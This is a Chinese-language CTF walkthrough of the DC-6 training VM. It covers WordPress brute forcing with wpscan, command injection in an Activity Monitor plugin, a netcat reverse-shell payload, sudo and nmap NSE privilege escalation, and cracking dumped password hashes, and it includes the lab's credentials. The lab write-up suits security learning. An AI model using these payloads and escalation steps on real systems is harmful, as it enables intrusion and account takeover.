DC-6靶机渗透--CTFer从0到1的进阶之路
前言:本次靶机相较于之前的设置漏洞的点又有些许变化,按照之前打靶的流程做是做不出来的,除非能找到注入点(但我觉得不太现实,就是不知道这个漏洞的情况下能在这么多界面的一个CMS中找出来)
免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境(DC-6靶机)中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。
1.信息搜集:
扫网段和端口:
nmap -sn 10.254.85.0/24
nmap -sV -p- 10.254.85.74

看到是有SSH的,先进浏览器访问一下,发现变成了wordy/,那么这个就跟DC-2一样,/etc/hosts里面修改一下,linux和windows写的专栏中都有记录,翻一下或者问问ai就行,这里不再赘述
进去之后左上角直接有个非常明显的符号,点开来看一眼:

这样都不用指纹识别了,回顾一下DC-2的流程来一遍,先扫一下目录看看有没有登录界面:
dirsearch -u http://wordy

看一下确实是登录界面:

2.密码爆破
那么之前打DC-2的时候用的是cewl生成的字典进行的爆破,这里先同样进行操作:
cewl http://wordy > 2.txt
wpscan --url http://wordy --passwords 2.txt
但是这里会出现一个问题:

就是直接用cewl生成的字典进行爆破是找不到密码的,那么我们就要换更大的字典,但是直接上rockyou不知道要爆到猴年马月,因此作者也进行了提示:
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
这条命令的作用是从 Kali Linux 自带的庞大密码字典 rockyou.txt 中,筛选出所有包含 "k01" 字符串的行,并保存为新的字典文件 passwords.txt。这正是能成功爆破出密码的关键
wpscan --url http://wordy --passwords passwords.txt
最后爆破出来一个mark:

3.获取shell
进行登录之后翻了一下没找到可以执行反弹shell的地方,然后我就想着metasploit能不能搞出个shell,先是直接搜了一下:
search wordpress
#这里直接列出来两百多条,太多了就缩减一下
search wordpress 5.1.1

没找到哎,换个思路试试SSH能不能连接,尝试之后发现也不行,没思路了,要了点提示之后说这里是插件漏洞,【眼界还是窄了...】也是用wpscan扫的:
wpscan --url http://wordy -e ap
| 选项 | 含义 |
|---|---|
-e ap |
枚举所有插件(All Plugins),并识别哪些存在已知漏洞 |
-e vp |
只枚举有漏洞的插件(Vulnerable Plugins) |
-e u |
枚举用户名(Users) |
-e t |
枚举主题(Themes) |
-e tt |
枚举所有主题(All Themes) |
但是这里扫一下没扫出来,还得换更加激进的:
wpscan --url http://wordy/ -e ap --plugins-detection aggressive
更彻底的扫描:
不依赖页面中暴露的线索
会测试大量常见的插件路径
适用于:
插件被隐藏了(开发者故意不暴露)
被动检测没发现
需要更全面的信息收集
对比一下:
| 命令 | 检测模式 | 特点 |
|---|---|---|
wpscan --url http://wordy -e ap |
被动检测(默认) | 通过页面源代码、链接、响应头等特征识别插件,速度较快,但可能漏掉隐藏的插件 |
wpscan --url http://wordy -e ap --plugins-detection aggressive |
主动检测 | 通过尝试访问常见的插件路径来确认是否存在,更全面但速度较慢,可能产生更多日志 |
发现一个红色感叹号❗:

这里还有一个需要注意的点是最前的plainview是插件的路径,为啥这么说呢,看下面的就知道了:
searchsploit plainview-activity-monitor
#找了一下没找到...
searchsploit activity monitor

这里我们可以直接看poc,后面退出的话按一下q即可:
searchsploit -x exploits/php/webapps/45274.txt

一个RCE漏洞,在目标路径下可以执行反弹shell,并且提交方式为lookup形式,按照这个思路取页面上找一下:

那么上面的输入框就是我们的注入点了【不知道这个漏洞一个个页面找过去这要多久啊...所以前言里说直接找注入点找不到】
那么输入一下命令,发现有长度限制,最后一个i输不进去,检查一下:
127.0.0.1;whoami

可以看到前端限制长度为15,这里可以直接修改元素或者BP抓包,然后提交的时候需要按lookup,可以看到命令被执行了:

那么我们就能反弹shell:
#kali中开启监听:
nc -lvnp 4444
#BP中输入
127.0.0.1;nc -e /bin/bash ip 4444

成功连上,换成交互式:
python -c 'import pty;pty.spawn("/bin/bash")'
4.横向移动
然后就是找找有没有用的文件啥的,四处翻了一下在/home/mark/stuff下发现:

那么就cat一下,找到了另一个user的账户和密码,尝试SSH连接:

graham GSo7isUM1D4
ssh graham@10.254.85.74

5.提权
成功连上,老样子找找SUID或者sudo -l啥的:
find / -perm -u=s -type f 2>/dev/null
sudo -l

发现jens说是可以无密码执行给出目录下的文件,先看一眼文件:
cat /home/jens/backup.sh
tar 是 Linux 的打包/压缩工具
参数 含义
c create - 创建新的归档文件
z gzip - 通过 gzip 进行压缩
f file - 指定归档文件的名称
即将 /var/www/html 目录(WordPress 的网站根目录)
打包并压缩
保存为 /tmp/backup.tar.gz 文件

-
sudo -u jens以 jens 身份运行 -
tar命令执行完毕 -
脚本结束,自动退出 jens 的身份
-
返回到 graham 的 shell
但是我们现在需要的是jens的shell,因此要对脚本进行相应修改,让它在执行完原有命令之后再启动一个shell,可以再最后用echo进行追加
echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh

成功切换到jens,再看一下:

看到jens 可以无需密码以 root 身份执行 nmap 命令,因此这里用到nmap进行提权。nmap 有一个交互模式,可以用来执行系统命令,这是 DC-6 最终提权的关键,这里interactive好像没有:

那么就换script,输入以下命令:
echo 'os.execute("/bin/bash")' > /tmp/shell.nse
#部分 含义
#echo 'os.execute("/bin/bash")' 输出字符串 os.execute("/bin/bash")
#> 重定向符号,将输出写入文件
#/tmp/shell.nse 创建的文件路径
#实际效果:在 /tmp/ 目录下创建一个名为 shell.nse 的文件,内容为:os.execute("/bin/bash")
#.nse 是 Nmap Script Engine 的脚本扩展名。nmap 支持用 Lua 语言编写脚本,os.execute() 是 Lua 中执行系统命令的函数。
sudo nmap --script=/tmp/shell.nse
虽然变成了root,但是又出现了一个新的问题,就是输入字母啥的没反应,后面又试了以下发现是没回显的,命令可以正常执行,那么试试能不能变成交互式:
python -c 'import pty;pty.spawn("/bin/bash")'

可以哩,那么就能拿到我们的flag了:

Congratulations!
6.拓展
按流程下来的话到这里是痕迹清理了,但是方法都一样所以从5开始就没再写过,然后这次做完之后我又到处逛了一下,突然发现/var/log/mysql里面竟然也有日期:

我就很好奇为啥没有用到MySQL里面的东西也会有这种东西,先看一下进程:
ps aux | grep mysql

-
MySQL 服务确实在运行(PID 487)
-
CPU 占用 0.5%,说明有活动
-
内存占用 95MB 左右,是正常范围
查看WP的配置,看是否真的使用了MYSQL:
cat /var/www/html/wp-config.php | grep DB_

WordPress 确实在使用 MySQL 作为数据库,数据库名是 wordpressdb,用户名是 wpdbuser。
那么我就在想能不能找到其他用户的密码,尝试一下发现数据(就是在图中的wp-config.php中):

来个一条龙:
# 登录 MySQL
mysql -u root -p
# 尝试密码 meErKatZ,或者空密码,或者从其他地方找的密码
# 如果 root 密码不对,用 wpdbuser 登录
mysql -u wpdbuser -p
# 密码: meErKatZ
# 查看数据库内容
use wordpressdb;
show tables;
select * from wp_users;

看样式是phpass 哈希,后面是盐值和加密后的密码,可以将密码保存到另一个文件中进行破解:
# 在 Kali 上创建文件
cat > wp_hashes.txt << 'EOF'
admin:$P$BDhiv9Y.kOYzAN8XmDbzG00hpbb2LA1
graham:$P$B/mSJ8xC4iPJAbCzbRXKilHMbSoFE41
mark:$P$BdDI8ehZKO5B/cJS8H0j1hU1J9t810/
sarah:$P$BEDLXtO6PUnSiB6lVaYkqUIMO/qx.3/
jens:$P$B//75HFVPBwqsUTvkBcHA8i4DUJ7Ru0
EOF
# 使用 rockyou.txt 字典
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt
# 查看已破解的密码
john --show wp_hashes.txt
但我之前懒直接OCR识别了一下然后爆破爆了26分钟后面才发现有问题/(ㄒoㄒ)/~~
重新爆破的话速度好像变慢了好多,因此这里就不爆破了,感兴趣的可以自己尝试能不能爆破出来,出来的话再登录一下看看界面有没有不一样的地方,尽情探索吧o(* ̄▽ ̄*)ブ。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)